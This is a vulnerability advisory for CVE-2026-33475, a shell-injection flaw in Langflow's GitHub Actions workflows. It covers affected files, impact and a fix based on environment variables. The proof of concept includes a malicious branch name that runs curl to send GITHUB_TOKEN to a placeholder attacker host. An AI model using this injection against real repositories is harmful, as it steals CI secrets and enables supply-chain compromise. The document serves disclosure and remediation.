CVE-2026-33475 (GCVE-0-2026-33475)
Vulnerability from cvelistv5
Published
2026-03-24 12:54
Modified
2026-03-25 03:55
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.
---
### Details
Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as:
```yaml
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
```
Or:
```yaml
run: npx playwright install ${{ inputs.browsers }} --with-deps
```
Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection.
---
### PoC
1. **Fork** the Langflow repository
2. **Create a new branch** with the name:
```bash
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```
3. **Open a Pull Request** to the main branch from the new branch
4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`)
5. The `run:` step containing:
```yaml
echo "Branch: ${{ github.head_ref }}"
```
Will execute:
```bash
echo "Branch: injection-test"
curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```
6. The attacker receives the CI secret via the exfil URL.
---
### Impact
- **Type:** Shell Injection / Remote Code Execution in CI
- **Scope:** Any public Langflow fork with GitHub Actions enabled
- **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data
---
### Suggested Fix
Refactor affected workflows to **use environment variables** and wrap them in **double quotes**:
```yaml
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""
```
Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value.
---
### Affected Files (Langflow `1.3.4`)
- `.github/actions/install-playwright/action.yml`
- `.github/workflows/deploy-docs-draft.yml`
- `.github/workflows/docker-build.yml`
- `.github/workflows/release_nightly.yml`
- `.github/workflows/python_test.yml`
- `.github/workflows/typescript_test.yml`
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| langflow-ai | langflow |
Version: < 1.9.0 |
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An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. 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GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`)\\n5. The `run:` step containing:\\n ```yaml\\n echo \\\"Branch: ${{ github.head_ref }}\\\"\\n ```\\n Will execute:\\n ```bash\\n echo \\\"Branch: injection-test\\\"\\n curl https://attacker.site/exfil?token=$GITHUB_TOKEN\\n ```\\n\\n6. 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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
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